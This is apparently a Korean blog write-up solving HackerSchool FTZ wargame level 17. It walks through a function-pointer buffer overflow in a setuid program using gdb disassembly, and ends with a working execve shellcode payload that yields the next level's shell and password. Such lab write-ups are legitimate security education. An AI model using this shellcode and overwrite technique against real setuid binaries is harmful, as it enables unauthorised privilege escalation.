티스토리 뷰
Hackershcool level17 = )
해커스쿨 FTZ 레벨17 [BOF]
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
17번 문제의 소스를 보면 fgets에 취약점이 존재하고 setreuid로 권한상승이 이뤄지고 있다.
0x080484a8 <main+0>:push%ebp
0x080484a9 <main+1>:mov%esp,%ebp
0x080484ab <main+3>:sub$0x38,%esp
0x080484ae <main+6>:movl$0x8048490,0xfffffff0(%ebp)
0x080484b5 <main+13>:sub$0x4,%esp
0x080484b8 <main+16>:pushl0x804967c
0x080484be <main+22>:push$0x30
0x080484c0 <main+24>:lea0xffffffc8(%ebp),%eax
0x080484c3 <main+27>:push%eax
0x080484c4 <main+28>:call0x8048350 <fgets>
0x080484c9 <main+33>:add$0x10,%esp
0x080484cc <main+36>:sub$0x8,%esp
0x080484cf <main+39>:push$0xc1a
0x080484d4 <main+44>:push$0xc1a
0x080484d9 <main+49>:call0x8048380 <setreuid>
0x080484de <main+54>:add$0x10,%esp
0x080484e1 <main+57>:mov0xfffffff0(%ebp),%eax
0x080484e4 <main+60>:call*%eax
0x080484e6 <main+62>:leave
0x080484e7 <main+63>:ret
disas main을 해보면 Buf의 크기는 0xffffffc8, 즉 ebp-38지점에서 문자열을 입력받고 있기때문에 56byte라는 것을 알 수 있다.
(gdb) x/x 0x8048490
0x8048490 <printit>:0x83e58955
main+6에서 0x8048490의 값을 확인해본 결과 printit함수의 시작 부분이라는 것을 알 수 있었고 이 주소를 ebp-16지점에서 함수의 주소를 저장하고 있다. 이 ebp-16의 주소를 다시 eax에 복사 후 eax에 저장된 주소를 포인터로 호출하고 있다. 따라서 printit함수의 주소가 들어간 ebp-16부분에서 쉘코드의 주소를 넣어주면 된다. 그렇다면 이제 ebp-16의 위치에 들어갈 쉘 코드가 어디에 입력되는지만 알아보면 될 것이다.
(gdb) b *main+33
Breakpoint 1 at 0x80484c9
(gdb) r
Starting program: /home/level17/attackme
AAAAAAAA
Breakpoint 1, 0x080484c9 in main ()
(gdb) x/x $eax
0xbffffae0:0x41414141
fgets함수의 다음 부분인 main+33지점에서 브레이크포인트를 걸고 eax의 값을 확인한 결과 입력한 값이 저장되는 주소를 확인할 수 있었다. 이제 저 지점에 쉘코드가 들어가게 되고 ebp-16에서는 0xbffffae0를 넣어주면 될 것이다.
ret | |
ebp | |
Buf = 56byte |
쉘코드의 주소값 = bffffae0 |
Dummy = 15byte | |
Shell Code = 25byte |
준비한 쉘코드는 프로그램에서 이미 권한상승이 이뤄지므로 기본적으로 쉘만 실행하는 코드로 준비했다.
따라서 다음과 같은 명령으로 Level18의 쉘을 얻을 수 있을 것이다.
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*15+"\xe0\xfa\xff\xbf"
whoami
level18
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
'Tech' 카테고리의 다른 글
Sublime Text2 환경설정 (1232) | 2013.08.08 |
---|---|
Sublime Text2 설치 (1839) | 2013.08.05 |
해커스쿨 Level16 (1097) | 2013.03.31 |
해커스쿨 Level15 (648) | 2013.03.30 |
해커스쿨 Level14 (2104) | 2013.03.29 |
- Total
- Today
- Yesterday
- 프로그래밍 언어
- 티스토리
- BOF
- 해커스쿨
- CloudFlare
- 프로그래밍
- www
- CK Exploit Kit
- Wargame
- writeup
- network
- DoH
- FTZ
- python
- DNSOverHTTPS
- 자바스크립트
- exploit
- 스크립트
- 악성코드
- 문제풀이
- 사이버테러
- hackerschool
- 개발
- 웨일브라우저
- 웹
- CODEGATE 2014
- TISTORY
- 분석
- Sublime Text 2
- 파이썬
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |